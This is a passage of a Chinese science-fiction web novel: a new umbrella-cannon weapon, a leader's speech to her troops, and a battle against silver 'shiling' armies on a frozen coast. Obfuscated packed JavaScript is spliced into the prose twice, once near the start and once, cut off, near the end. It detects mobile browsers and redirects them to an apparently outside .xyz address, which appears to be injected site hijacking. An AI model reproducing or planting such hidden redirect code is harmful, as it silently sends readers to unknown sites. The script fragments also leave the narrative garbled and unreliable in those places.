“噢喔，这握姿好别扭！没法瞄准啊！哪有人抓着圆筒的把开火！你不能参考一下步枪吗？” “能造出来0元素远程武器就不错了，别挑毛病！握把，子弹，伞都是安装在你们队员潜意识中的直条，缩小放大拼成的武器罢了。0元素子弹的弹道绝对平直，不受任何外力影响，你视线里有个红色小方块，是辅助瞄准系统。那边的是配发的机炮支架，可以固定在架子上，方便射击。” “噢噢，伞是啥意思？” “扣这个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875310|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴灯掰玉珊瑚的指头，将扳机推的折断并贴住握把，圆筒一瞬散成多根白条后向里收束，黑色的0元素直条向外扩散，形成伞面，多余的黑色直条包住白条形成伞柄，一把纯黑的伞就出现在玉珊瑚手中，少女拨了一下粉色长发，开心的笑了。 “有趣啊，这东西！” “那是！能挡黑剑和侍灵武器。不过，要注意机炮和伞共用0元素存量，机炮打的多了，伞就变薄甚至不够开启伞模式！伞挡的攻击多了，机炮子弹就会变少！” “怎么收伞？” “上推扳机，控制方法啊，以后根据实战反馈优化吧。” 玉珊瑚看黑伞变回了白色圆筒，就把筒子插回货架，急问：“给我们多少支？” “嗯？第一批？除了后备集群，每个集群3000支，业凰是三个集群，9000支。” 玉珊瑚对临时集团的参谋官说：“那你们把轻型伞武装运回业凰吧，我在首都还有事。” “哎？” 众位队员都想休假，看货物只有两车，就猜拳选出了125人护送车辆回业凰，中途遇到忙完的后勤中队接收了装备。 玉珊瑚走向曼达站的平坦雪地，一起观看橡树练剑。 雪，无声无息地持续着，仿佛是天际间最细腻的织工，以无尽的白，融化在橡树王的棕色短发和平静英俊的脸上。风，轻柔地拂过，带动起一阵细腻的雪雾，它们在空中旋转、舞蹈，最终又轻盈地落下，飞舞于少年的宽大黑袍周围。这风，擦过银亮的钢剑，似乎在低声诉说他的顽强与固执。 努力有用吗？ 大多数情况下，是没用的。 他只是一遍又一遍的重复错误，不停的被曼达打飞，再不断站起来重整进攻，尽管他每次的剑击变出一点不同，却毫无进步。因为他的基础太差了，比天烛都差，就像是大病初愈，久未运动的人一样，身体动作跟不上意识，不知道自己的肢体在哪，每个关节都不听意识使唤，多亏教官是乐为人师的曼达，换别人早就让他放弃了。 “你别考虑花招和防御，先集中全身力量到剑尖，再攻过来。” 一身黑亮皮衣的高大教官和玉珊瑚闲聊过程中，指点他的剑招。 橡树也没想到自己这么弱，盲人生活经历使他过分谨慎的控制身体，再想自如的运动就太难了，他好不容易调整到全身发力，高举钢剑，大步冲向曼达，钢剑刚碰曼达的剑，橡树连人带剑一同弹飞，旁边的玉珊瑚看他狼狈的姿势就没忍住，笑出声了。 这位少年南极王趴在地上，挥拳重重的砸雪，懊悔自己的无能，玉珊瑚捂口觉得尴尬，曼达轻拍玉珊瑚的肩膀，再推了她一下。 “休息会儿吧，徒弟，你得先让身体足够灵活，这方面请教小珊瑚吧，我去看看城下的物资运输工作。” 曼达说着，走回城下营地。 少年甩甩头发和黑袍中的雪片，坐起来，双手端量钢剑，气愤的插在身边，静静的观望西部纯白平原。 “咳，抱歉，我不是故意笑你。” “没事，我自己也觉得好笑。” “有那么难吗？你这样活动手腕试试？” 橡树扭头，看这位粉色长发的少女蹲在自己身边，黑色的小号檐帽，清纯甜美的长相还有着清爽自然的笑容，纯黑的披肩和束腰裙，队服长袖探出的纤美双手在自己脸边扭转。 “这样？” “对，你慢一些，让意识和手同步，想停就应该能停在自己预想的位置，想转就转，对，让自己完全控制住身体，感觉熟练了就两只手转不同的方向。” “有点难。” “你刚学嘛，我再教你四个动作，这两个练习四肢灵活度的，这两个是练习全身协调的。” 玉珊瑚耐心指点橡树做完动作，发现他感知空间距离的能力非常出色，这对剑术很有帮助，就说：“你预判距离很准啊，我试试你，这是多长？” “大约4.5CM。” 少女用信息板的测量过了自己手指比划的间隔，橡树说的精准无误。 “厉害呐！你完全学会真我剑术后，应该可以用出比别人更细微的变招或技巧，就是那种每剑都很准的技术。我预判都没这么准，你怎么练成的呀？” “因为我以前是盲人吧。” “盲人？” 橡树跟玉珊瑚讲述自己在地球的经历，玉珊瑚对男女共处的世界很感兴趣。 “那地球到处都是情侣吗？” “是吧。” “每个人都有爱情可真好啊！” “并没有。” “为什么呢？” 橡树看久玉珊瑚就觉得自己脸红，于是转脸望向空旷雪原后才回答她。 “或许是我遇过人的没有爱情吧，我身边的大多数人更想要物品。” “什么物品？” “什么都想要。那里还没有能替代人力劳动的全自动机器人，人们工作才能生存，对物品，或者说钱的欲望多过对人心的追求。” “那橡树想要什么呢？” “我以前是盲人，什么都做不了，现在想让自己能做到很多事，这样就不用麻烦别人了。” 橡树看玉珊瑚点点头后又问：“还有呢？” “家人吧。” “家人？我们夜星人都是罐子生的，对家人的概念很模糊，近似朋友，我更想要恋人呢。” “我觉得恋人关系好到极致，就是家人，你觉得呢？” 玉珊瑚想不明白，就问：“家人应该是什么样的？” “此世不分离之人。” “那我也喜欢！” 两人笑谈的时候，一位红衣红发的女子走了过来，他俩一看是阳荷将军。 “聊什么呢，这么高兴。” 橡树站起来，走过去，与阳荷握手。玉珊瑚站在橡树身后，对阳荷敬礼。 “聊些关于爱的话题。” “爱？” 阳荷满脸疑惑，再看玉珊瑚一言不发的红着脸走开，发觉自己来的不是时候。 “咳，那我去城下营地了。” “没事，阳荷将军有公事吗？” “噢，服务局后勤集团接到调令，要在学院西侧搭个会场，公文没说是干什么用，我带后勤集团来取搭建会场的建材，看到你在这就过来问问。” “红莲姐担心队员们心有隔阂，或是被气氛强迫参战，想和所有人说几句心里话，所以搭个临时会场。” “原来是这样，嗯，我们指挥官不清楚普通队员的真实想法，确实有必要跟大家说清楚。那好，我去家园堡了解圆形防御墙的安装方法，再会了，橡树王。” 阳荷与橡树敬礼后握手，转身前往东部雪原，她进入家园堡后，找藤萝拿到防御墙说明书，离开城堡，坐在山坡巨石上，等待山下的第一批圆形防御墙装车，就能一同返回服务局。阳荷闲来无事，拿望远镜观察家山西南方向的服务局西侧雪地，她离开学院的三个小时里，圆形会场逐渐搭建完成，一位巡逻的侦察队员走到阳荷身边，把最新通告发给阳荷。 通告写明，一小时后，红莲在服务局会场进行简短的演讲，之后是提问互动环节，休假的队员可以到场听和问，执勤队员和市民可就近用战时有线或民用无线通信设备旁听。 心的方向 旷野，雪原与夜空相接，界限模糊，仿佛整个世界都被柔和包围，既深邃又温柔。偶尔，一两颗照明弹划破天际，留下一道短暂而灿烂的轨迹，像是夜的泪滴，在这寂静中绽放出一瞬间的光华，随即又湮灭于无边的黑暗之中。 黑发女子行走在这样的雪原上，每一步都踏出的深深的脚印，她的心，也随雪景变得宁静而深远，仿佛能听见自己内心深处的声音，在这无边的永夜与雪原之中，感悟归属与安宁。 钢铁拼搭的圆形会场内部已有八万队员落坐，二万队员堵在会场外围，仰头看着大屏幕和扩音器，有人注意到红莲走近，众人一边敬礼，一边退让出一条小道，红莲摆手说大家休假期无需敬礼，还和队员握手或合影，她在众队员的簇拥和喜悦声中进入会场，快步登上演讲台，四顾看台，见到每十人座位前有一部麦克风，确认一切准备完毕，风雪穿过简陋会场的缝隙，环绕场内，红莲有些紧张，先说了一句大家好，就尴尬的笑了，人们一阵欢笑过后。 “抱歉，我没演讲过，也不喜欢强迫别人赞同我的说辞。我是考虑到必须让所有人理解现状，才能让所有人找到自己想做的事，或是战斗，或是生活，或是加入北极灵能会，我会提供船只，关键在于你自己想用余生做什么。” 红莲说完开场，凝望会场内的数万队员，攒动的无数黑色队服宛如群星璀璨。 “我不知道什么时候家还能像现在这样，姐妹齐全了。” 她比她们明白，最近的战役不过是小插曲，灵能会的暴力手段远不止这些。 “我们取得了一个胜利，但我们不是军队，我们不要胜利，我们要的是精神不变！敌人可以消灭我的存在，但无法折断我的精神！” 黑发少女紧握双拳，怒吼出她的心声。 “这是战斗，不是战争。战斗是我自己选择的，我为了改变前人的错误而战斗，为了给自己获得存在的位置而战斗。” 她不想强迫别人与自己一同赴死。 “说实话我无法带领大家拯救世界，拯救人类，甚至拯救我们自己的生命都做不到，这些东西早在千年之前就已经毁灭了，过去发生的事强迫今天的我们接受结果，我活着，我绝不妥协！” 人们起立敬礼。 “如果大家愿意跟随我誓死捍卫自己的精神！我们也许痛苦，也许死亡，也许失败，身在绝望之海！可我们精神不改！” 红莲回礼。 “我希望大家心里永远有一团不会熄灭的火焰！” 会场内外，人们同时说：“真我是怀疑本身，真我是完美自主！” 红莲的演说就这寥寥几句话，结束了。 却给每个人内心种下炽热的精神能量，让人明白，无论你想做什么，做吧，没有时间了，自己的人生，自己做主。 之后的问答环节，队员们主要询问了北极的情报，如灵能会的武器种类和数量，红莲将自己知道的尽数告知，少女们却远比她想的从容，她一时没忍住说出了天壳的存在，众人仍无惊恐，转而开始东一句西一句的建议给队服增加些装饰，红莲懂了，女孩们更重视眼下的真实感情，来自业凰的休假队员提议用南极远古符号V作为服饰装饰，还有人建议不是军队就废止旧礼，队员们一通讨论出用剪刀手势作为行礼，不似旧礼那般严肃，V是从一个点开始无限扩展，代表着个体有无限可能的意思。 此后队服的领口，袖口，扣子都有V图案，队员的正式名称也改为V队员，简写仍写作队员。 V手礼就是只用食指和中指做出V形，放在耳边代表听令，放在眼边是下令。 合影和闲聊占据了会场内人员的大部分时间，红莲迷迷糊糊的折腾了两个多小时，才出了会场，她原本打算只身走回业凰，却巧遇望江南，红莲最近一直用战术推演程序跟望江南对战，帮这位瘦弱的红发少女提高指挥能力。 望江南将昏昏欲睡的红莲扶进车厢，关上车门，在颠簸中重新梳理红色长发，再盘进黑帽，理顺队服，时不时还要把红莲推回车座，免得她摔下来。 二人走过冰花田，红莲似乎被冰花闪烁的光亮晃醒了，在半梦半醒间说我们都在这里，望江南扶她穿过业凰后门，就近找了一间空宿舍，再帮她梳洗换上睡衣，红莲躺下就又睡着了，望江南喜欢悄悄挤在红莲身边，偶尔能听她说了一句梦话。 人生像一场噩梦，何时能让我醒来。 33. 章33冰封海面：北方的求助 结冰深达百米的冰海面上，是幽邃的魔境。 突然！贯穿遥远夜空的几十道恢弘光束是蛮横神兵恣意乱画天地，迸发的冷冽银辉，交映一位高大女子的人影，影子纷乱幻变，足见她身后的战场有海量的灵能武器，她三步并做两步，无悔前冲，战友的哀嚎不在她的耳边，却在她心里。 风信子大步一跃，紧身白衣画出她的至美身线，身形如展翅天鹅，银钢制靴尖触地开始高速滑行，以此为间隙，波浪白发迎风飘展，她侧身回望。 一番地狱图景。 北极海岸线被亿万光弹和光束照的锃亮，惨白冰海面上散布了绵延千里的斑驳黑影，岸防连城的十五万队员们死战为风信子打开突破口，因为只有身手一流的她有可能到达南极。现在，她们被不计其数的银色星光包围着，吞噬着，是侍灵大军如从外星魔境中源源不断涌出。追兵见风信子已然甩开距离，就绕回包围圈，而她将战友们留在那里了，她平生第一次满眼泪花，承认她们的意志美远胜自己的美学。 银靴下的冰层，一层又一层，细腻而坚韧，它们牢牢封印着沉睡的海水和古代魔物，仿佛是自然母亲给予海洋的深情保护，将波澜壮阔化作了一片不可触及的宁静。 冰面传来细微到难以察觉的规律震动，是以武为生的风信子才能感知到的变化，她转身朝南，夜幕重压之下，万物皆暗，微光穿透厚重的黑暗却只能在冰封的海面上留下冷漠灰色，宛如古老诗篇中遗落的字符，静静诉说着不为人知的奥秘。 空气中又飘来幻听，这次的风语诡秘话声好似原始人仪式中的萨满低语，诡异而又急促，循环重复，让孤行在万里冰海上的风信子幻想出一副景象：祖先们围着篝火，载歌载舞，舞姿野蛮，歌声邪幻，无惧世界强加给他们的死亡和痛苦，唤醒兽性中的野性，只有这样才能在不合理的世界存在下去，人类不该忘记生命本身的这种野性之美。 风信子明白这次的风之语是噩梦来临的提示，洪荒夜风携带着让她寒毛直竖的巨量恐怖，流浪剑客的经历塑造了她越到危难之时，越有无尽孤勇。 冰面的震动节奏越来越明显，就连风中都有真实世界的金属撞击之音，敌军接近的声音如暴雨袭来，祖先的歌声还在她耳边助威，这位以美字锻炼身心的顶级剑客，三步前冲，蹲身后大摆长腿，如花滑舞者般站起，凌空一跃，在天际画出一瞬绝美留影，抱身螺旋下落，跃过侍灵的前锋部队，落地轻转双腿，三个侍灵刚察觉有人来到脸前，还未反应，就吃她的一剑横斩。 风信子趟过敌人衣骸，发觉自己已在三千侍灵阵中，百名侍灵齐刺而来，她低身滑铲，再飘然绕过另数百名侍灵，沿途没有一秒停顿，近百个侍灵便倒在她剑下，这女子的武技完美到真是战场中的舞者，数千个银衣的人形怪物都奈何她不得，水母头一起发光，这是侍灵脑内的协战程序启动，千百银刀聚成一股强大势能向她冲来，她仅能以剑术和0元素存量硬抗，敌军的齐攻却正好将她推飞，远离了敌军，她转身继续向南急冲，那幻梦的野性歌声一刻未曾远离她的内心。 其实这股侍灵是大海中心人工岛向北极派出的援军，行军速度极快，风信子利用双向对冲的加速度，成功突破，她孤独的滑行了3个小时后，就能远望到宏伟的超巨型海上平台人工岛，而钢铁建筑下方的万个银光，说明这场噩梦才刚刚开始。 风信子担心这次的敌军已经收到她出现的情报，就向西滑动几步，敌军果然追来，身后三千，前方一万，她不得以改道前往西部冰海面。 使命，是那十五姐妹的希望，风信子滑行方向变为西南，于是南方的敌军离她越来越近，最近的一个用刀划砍她的后背，叮叮当当的万千金属晃动声，说明敌军完全贴着她猛追。 无情的黑夜就这样俯视冰面，一个白衣女子和一万两千多个银衣怪物贴身向西疾驰，恐怖已然无法诉说此景，世上只有一个词能描述：绝望。 人能恳求自然救救她吗？ 可是自然已被人杀死了。 西部冰原偶尔可见巨大的裂痕，宛如岁月的细纹，又似是风的低吟，在这无边的冰面上回响，带着一丝不易察觉的愤怒。 四周，是彻底的黑暗与寒冷交织的世界，唯有远处几座白色凸起，为这冰封的海域添上一份难以名状的怪异。 轻拂冰面的海风忽然变向，强大吸力拉动风信子和侍灵部队，冰面下方极速流动广袤黑影，超音速的撞击捅破冰层，地震将一切物体扬的翻倒混乱，一股刺破耳膜的噪音连同最强风力，再加上一根宽度比肩高山且长度近似海岸的猩红肉条，在不到一秒内，横扫整个西部冰海面。 这是夜星古人用血肉科技追求永生遗留的罪证，而这团覆盖夜星海底的远古魔神已然痴愚到忘记仇恨，或者说它强大到不在乎复仇了，任何接近西部冰海的物体都有可能被它捕食。 风信子正是赌海底魔神会出手相助，她提前退缩到侍灵部队之中，用数千侍灵抬出一丝空隙，使得她钻过海魔的第一根触须，大风未止，第二根马上来袭，风信子大步急逃，感受身后风力急近，一步跳起，凌空倒转身体，她看到了。 一座无边无际的肉墙以超音速接近，难以计数的凄惨的血管和脓包一瞬撞向她，她双手侵入肉墙的下一瞬间，不给她犯恶心的时间，巨大的冲击使她双臂骨折，再将她打飞，抛到高空，疼痛是天旋地转后感受到的，她万万没想到，身体有0元素保护还能受此等重创。 风信子在空中转了十多圈后，用足底能量场稳住身体，俯瞰冰海面，海魔探出冰面的七根触须，旋转摧毁冰面上的一切后，团聚，钻回冰下。 高空的大风使得风信子一时无法落地，她艰难的用全身的0元素能量场对抗风力，逐渐向南飞行一段，再费了一番周折，勉强落地，环境中只有冰面和风声，说明没有敌人了，她凭风之部落传承的方向感，继续向南滑行并忍痛调整手臂的骨折断面，等待0元素治愈身体。 永夜拥抱的冰封海面，每一块冰晶都像是被精心雕琢的艺术品，闪烁着冷冽而神秘的光芒，3小时后，南极北海岸出现在风信子朦胧的视线里。 她以为是泪水反光，用手背擦擦眼睛时，四十到五十万个银点组成了繁华的军阵，几乎让这位孤高战士精神崩溃，祖先的野性歌声再次高唱于心，生命的字典里没有放弃！ 侍灵大军全退守岸边，风信子用出色视觉看的很清晰，她猜南极人类一定是占领了内陆全境。 红莲吗？你干的漂亮啊！ 家山容易攀登，风信子想明白这些，向西滑行，离岸一公里范围在低身滑行，剩500米，她倒地，用背滑行，近到只剩两米，她立刻站起，不等侍灵反应，疾步向空港山脉猛跑。 北海岸西角岸边有多少个侍灵，风信子不知道，只觉得到处都是，她冲上海岸，这里是南极海岸太空工业区的物资基地，仓库和大型工程设备周围不断涌出侍灵，她完全是用0元素存量硬抗侍灵银刀，她的前方堵满侍灵，于是绝望的变出黑剑，双臂还没完全康复。 到此为止了吗？ 赛博空港山顶的防空巨炮阵地，执勤的队员透过大型瞭望镜，注意到海岸西角的骚动。 “那好像有人。” 中队长抢过镜口。 “是有人，白衣，侍灵数量减少了，应该是队友。” “队友怎么穿白衣呢？” “传我命令，四门最大口径巨炮填装散弹，瞄准骚动位置，开火！” “没有天荷大人的命令就擅自开炮吗？” “我说开火！一切由我承担！” 极度陡高的宽广山壁之上，爆发四团巨大烟雾，钢铁暴雨立刻灌满海岸西角，数以万计的侍灵被散弹再散弹的爆炸连续炸飞，风信子感觉自己身处温暖的地狱之中，周围的敌人都飞没了，只有黑雾和火光此起彼伏，她增大足底能量场，对抗暴风，大步钻出轰炸地带，跑向山下，空港山脉北侧的山体看似陡峭，实际由无数刀锋状的是岩石堆叠而成，岩石之间有无数小道和冰洞，可以缓慢上山，风信子附近的侍灵部队全力追来，逼迫她进入山缝之中，山顶阵地立刻火力掩护，中队长亲自带队下山援救。 中断的葬礼 南极内陆，人类心头，五味成杂。 浩浩荡荡的王葬车队从首都巨大城墙下方出发，途径服务局，行驶在前往业凰科学院的路上，路线要绕内陆一圈。所有人，站在雪原之中，沉默观望。 人们无法像冰雪女王葬礼时那样悲痛，因为恶毒女王生前只有暴行。 大家却没法憎恨她，因为棺椁内也有玛丽安将军的遗物。 善恶交融的的葬礼，充斥了遗憾的感情。 悼词由红莲将军所写：虚假的快乐过后，只有虚无。如果悲伤能让你感到满足，那就是好的感情。 雪飘万里，夜风孤寂。 寂寥纯粹的黑白色，让人思绪清明。 两列护送车队的礼炮齐发，阵阵炮声，代言了众人的心声。 风雪吹散的烟雾形状，似那对姐妹，离开了人间。 混杂在炮声之中的高亢之音，让红莲和众位将军一起望向赛博空港方向，刀锋山脉上的烟雾持续爆发火光，似乎预言新的战斗来临，她们立即脱离仪仗队，向西部雪原急行，围观的队员们在遗憾中有了不祥的预感，世界的规则似乎是特意锁死希望的铁律。 铃兰带3125人的业凰精锐集团随后向西支援，中途就遇到红莲扶风信子向业凰滑行，命令立刻由这三千多名传令队员下达到南极全境，女王葬礼草草结束，红莲主力集群全员战备，所有将军级队员赶往业凰科学院。 一时间，车队和人散布雪原，焦躁不安的氛围随风流传。 业凰后门，数万队员进进出出，红莲一行人挤进学院，把后门边的风之语研究部设为临时指挥部，将军们陆续赶到，风信子的伤情严重，可她急于说完情报，想为岸防连城的队员们争取哪怕一秒时间。 “黑家主带五万人留守主城区断后，已被侍灵大军淹没，凶多吉少。贝比将军和黑白将军带0元素培养罐和十五万人向南撤退，已被星神亲率大军包围，队员为我拼杀出突破口，才能来见你们。” 天荷在桌摆好电子地图，红莲指地图中的北极海岸各处，让风信子确认位置，红莲不停的指，风信子一会儿点头，一会儿摇头，可见北极队员的具体位置在不断变化。 “我知道了，风信子前辈去修养吧。” “红莲，你不救她们就完了！” 这位领袖沉默思考，静看地图十秒后说话。 “我了解贝比和黑白，北极队员分成了东西两队，现已到达人工岛两侧五十公里位置，在这。” 天荷跟随红莲的手指一起指出位置，再听她说话。 “她们在用敢死队断后战术苦撑，人员损失极大，困境在于南极北海岸这五十多万侍灵部队，阻隔了她们撤往南极内陆。我发布战略计划。” 计划如下： 黑巴两个集群和紫洋两个集群出家山北坡，扫清北海岸东部敌人。 千鸟两个集群和铃兰集群进入空港山脉北侧，扫清北海岸西部敌人。 调两万白猫部队到业凰环丘，业凰两个集群出雪牢关，扫清海岸中部敌人，。 参谋官通过有线通信调动全员，红莲继续下令。 “黑巴将军。” “你说。” “解决海岸西部敌军后，组建一支精锐队伍向冰海面进发，援救北极队员。” “得令。” 黑巴走后，红莲转身对铃兰说话。 “山脉陡峭，容不下太多队员，你突破东部敌军后也向冰海面进发，残敌留给千鸟解决。” 铃兰敬礼后正要离开，红莲叫住她。 “铃兰！小心一点。” “您放心吧。” 会议结束，红莲叮嘱阳荷和曼达守好内陆，再让天荷视能力支援千鸟。 客观的分析这次战役的计划，红莲有意减轻了南极队员的作战任务，压力全在自己麾下的业凰队员身上，这是考虑到南北两极人类素来不和，不能让南极人为救北极人冒太大险。 队员经过多场战役后，各级队长的指挥效能更加成熟，五人班组自发拾取运输车沿途洒下的物资，二十五人小队整齐列队前进，125人中队分别攀登山体，625人联队同时向家山河空港山脉聚集，3125人集团在山顶内陆边界做好战术部署等待进攻命令，15625人集群全部到达预定位置，万辆运输组成钢铁洪流车队装载备用物资，白猫部队跳车后开启火炮模式，进攻倒计时归零的短暂静默过去，震碎天地的火炮阵地一瞬升腾的烟雾，像在南极内陆划了一条白线，炮弹划破高空的嘶鸣就是冲锋的号角。 三路齐攻 家山北部的坡度近乎半圆，大大增加了队员的滑行速度，雪浪与暴风齐奏出一曲重金属交响乐，节奏随漫山遍野的黑衣队员加速冲刺变得越来越急迫，寒冰自然顷刻化身歌颂人类刚勇的风雪女神，歌声恢弘磅礴，悲怆之音随侍灵远程火力即刻而至，在冰树林间爆发起无数气团与雪浪，不具备死亡概念的近战侍灵部队顶着炮火冲来。 野芹呐喊出猖狂嚎叫，黑色衣裙的身姿在划过天际，纵身落入数万侍灵军阵之中，翻滚乱冲的过程便斩杀百个水母头怪物。三星精锐队员立刻跟上野芹副官，大风吹飞刀剑碰撞产生的火花，下一股风就带走侍灵死后的干瘪银衣。 四个集群同时冲过山坡，山下海岸的敌军银光连天，浩如烟海，内陆白猫发射的炮弹准时砸落，瞬间将银海化为火海，62500名队员汇成的波涛人潮，奋勇扑向烈火地狱，气雾升腾之时，黑巴和紫洋的所属队伍已经顺利攻陷北海岸东角的造船厂基地。 （注释：北海岸，全称是南极海岸太空工业区，史健于2000多年前的机械太空时代，是光星太空计划最大的航天航空装备基地，海岸宽度足以容纳中型城市，长度是南大陆最长的海岸线，东角紧邻矿石堆成的家山，是古代航海贸易的重要港口，故此建有造船厂，具有地上及地下的多种自动工程机械设备，现被一座巨型飞艇仓库分隔。） 随处可见的钢铁框架和庞大机械窜出敌影，密封仓库内外也跑出侍灵，连绵万里的的障碍物打乱了各集群的冲锋队形，溃逃的敌军主力趁机组成新的防线，推进迟缓的激烈巷战开始了。 海岸西角被赛博空港山顶防空阵地发射散弹狂轰滥炸，队员从山脉北侧山崖向下俯瞰，闪烁火光的黑烟气团接连升腾，像啤酒不断增多的气泡一样。 浓烈呛人的硝烟直达万米高空，千鸟集群三万人在刀锋岩石间安装好绞盘，戴好面罩，索降下山，如一面悬挂山崖的珠帘，队员们到达地面即组成战斗队形，赶在炮火持续且侍灵部队还未重整防线前冲刺，雪花早已被饱和火力气化成湿雾，轻抚她们的坚毅容颜。 大冰海中心的人工岛派来的侍灵支援部队正好从这一侧登陆，所以此地的侍灵数量远比预计的多，达到了二十万，火炮轰炸间歇，银色人形的水母头怪物从雪和废铁中爬出，黑烟被冷空气一瞬吹散，队员们才发现自己身在六倍敌阵之中，众人知道犹豫就会败北，黑剑齐挥，如碎钢机的咬齿一般，尽数消灭身前敌人，久经战阵还优化了她们的身法武技，每个人都不再干站着挥剑，而是滑步交替穿梭敌阵，彼此掩护。 千鸟和千里姐妹指挥分散的队伍重新聚拢，以物资仓库基地的残骸为掩体，坚守战线。 人类的最新型武器，轻型伞武装在空港山脉顶端的铃兰集群得到了妙用，铃兰凑足了15625人的黑伞，她们一齐助跑跳崖，急降产生的气流将她们的头发吹露出根部，显露基因科技缔造的千种美颜，她们体察到北风气流就同时开伞，在高空展现出一副如清风吹过蒲公英花田的绝美画面，确定到达预定战场的队员收伞下坠，在接近地面前再开伞调整下落角度，收伞的同时拔剑，旋转身姿，各自一剑解决多名侍灵，刹那间就打破战场僵局。 这就是业凰队员，每人都戴黑帽以示立志成为将军的决心，黑色马甲包覆要害，白衬衫带极字袖章，黑色百褶短裙如花瓣旋舞，武技精湛到让人叹为观止，她们落地即结成一列队形，如千队骑兵，往来冲杀敌阵。 二十万侍灵大军就这样乱套，刚复活不久的歌剧院副将舞蹈家是此地敌军的指挥官，它见此情形大为恼火，一时找不出铃兰集群的指挥官，就看上原地防守的千鸟集群，于是一队千人规模的侍灵部队不顾一切的冲击物资基地，巧遇单人侦查的千里副官。 千里是东跳西窜的猛逃，舞蹈家只觉得这女子头戴兔耳，身穿白衬衫和黑色连身裤，跟普通队员的打扮很不一样，肯定是指挥官没错了！ 这阵冲突把原本混乱不堪的战场简直搅成了一锅粥，千里一边跑一边大喊救命，沿途队员就抽身阻击侍灵部队，于是双方战线更乱了，舞蹈家眼见自己的超能力控敌距离和千里后背只差几厘米，在千里被侍灵大部队挡路迟疑的片刻终于控制住了她，千名侍灵的银亮佩刀一同刺向千里。 一股横贯敌阵的龙卷风究竟有多快，居然赶在千里一命呜呼前扫断千刀，铃兰收招将浮空的千里抱在怀中，不想却遭千里用黑剑直刺，而顽强的铃兰竟然用牙咬住了剑尖，高跷的金色双马尾迎风飘摆，黑色大衣背后书写的四个大字，让敌我双方见证了天下第一的实力。 铃兰双腿蹬踹千里的前胸，跳后，逃离她的攻击范围。 “你干嘛踢我！” 千里的怒问让众人知道舞蹈家这次控住千里的自我意识，几十个侍灵再对千里齐砍，铃兰急忙消灭那些敌军。 “喔喔，吓死我了，谢谢女侠救了小兔子！” 铃兰急躲，背身踢千里的手腕，改变黑剑的攻击方向，刮死几个刺杀千里的侍灵。 “哎！你踢上瘾啦？喔？谢谢铃兰亲救我。” “你真麻烦！” 是啊，舞蹈家的能力麻烦至极，铃兰一方面要防被控制的千里施展的剑击，一方面还要防止千里被侍灵杀掉，若非铃兰武技绝伦，很难控制住局面。 “你们！赶紧去弄死那边跳舞的机器人！” 两个业凰中队围攻舞蹈家，可它身为指挥官，身边源源不断的涌来支援部队，渐渐有数万敌军保护着她。 舞蹈家牵制住两位将军级队员后，战局渐渐不利于队员战斗，分散的敌军重新汇合成厚实的包围圈，所幸千里和铃兰的位置离物资基地建筑群不远，这里是海岸各基地存放精密仪器和稀有合金的地方，还建有一些存储化学溶液的大型钢罐，千鸟把灰白大辫子捋到身前，穿好大衣袖子，只身爬上罐顶，趴好，竖起大拇指，测量银白敌阵中的舞蹈家的距离。 千鸟变出一支上刺刀的纯黑步枪，她听藤萝说过可以变出枪械，自己一试就做到了，而且她能一直保持0元素步枪的外观，需要射击时再构思内部结构就可以了，这种临场应变对于千鸟不紧不慢的个性来说不是什么难事，她还从怀里摸出一根糖棍叼着，从容瞄准。 一枪打碎了舞蹈家的半个机械脑袋，这是因为它不停摇头晃脑跳舞，很难瞄准，大量侍灵急忙掩护指挥官，千鸟第二枪的子弹穿过多个侍灵的夹缝，打碎舞蹈家的胸腹，出色射击术加上此前战斗积累的贡献，让千鸟升为五星队员。 侍灵大军失去指挥核心，就不再抱团聚集了，而是根据水母头里预设的战斗程序，散开后各自为战，这个策略能最大程度拖延败势，对于可以无限复活的侍灵来说，就再合适不过。 人类在海岸东西战线略占优势，中路雪牢关就是绝对劣势了。 铁门展露的关口虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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侍灵部队及主将唱歌者的注意力全在红莲身上，有一道白影，飘然穿越数万银色人形，白影停步的冲击力，顺势一剑切掉唱歌者的头颅，使它没能喊出音波攻击，亲眼看着自己的身体被风信子切成碎片，前功加上斩首敌将的功勋，使风信子升为五星。 红莲起身，带各精锐集团杀退侍灵部队，踏上冰面，向北滑行。 收复海岸 海岸西线战场仍有十万侍灵挤在岸上，厚实的防线加上歌剧院副将前奏家的强化光环效果，使得黑巴和紫洋的四个集群推进速度极慢，而中路的夜兰和风信子各带一个集团向西合攻，长柄大刀在夜兰的高大身材的加持下，一挥就扫碎百名侍灵，她突破到演奏家的光环范围附近，开始被超级侍灵围攻。 黑巴注意到敌军深处的变化，组织起一个精锐集群，这些队员都围着极长的围巾，能跟足底能量场同步释放能量，于是乎，黑巴集群以霹雷闪电般的冲刺速度，直突敌军，掀起高达十米的雪浪遮蔽了侍灵的感知，一股黑色洪流吞没了演奏家，它在15625名队员结成的高速移动阵法中不停被黑剑砍击，等黑巴集群绕向北方冰海，只剩一具金属残骸，被风吹倒，碎了一地。 侍灵总帅星神或许预见到贝家主无能，早早派了一支奇兵，三万个奇怪的半身侍灵飘向南极海岸西角的物资基地，队员刚杀散敌军主力，铃兰刚要组织队伍前往冰海面，夜空中就出现大片骇人怪物，这些侍灵只有上半身，用双手旋转螺旋桨，获得直升机的飞行能力，躯干底部安装着一个灵能迫击枪，对岸上的队员们开火。 场景异常恐怖，这些半身侍灵就像悬挂在空中的尸体，让少女们承受了很大惊恐。 赛博空港的防空阵地却迟迟不开火，铃兰和千鸟带队员到建筑后躲避，人们开始大声质疑天荷将军的能力，但奇怪的是，空中侍灵移动到她们头顶后，攻击逐渐转向南方，人们看向南方，山脉低处和雪牢关上空，连续飞来大批蜂鸟型无人机，约有三万之多。 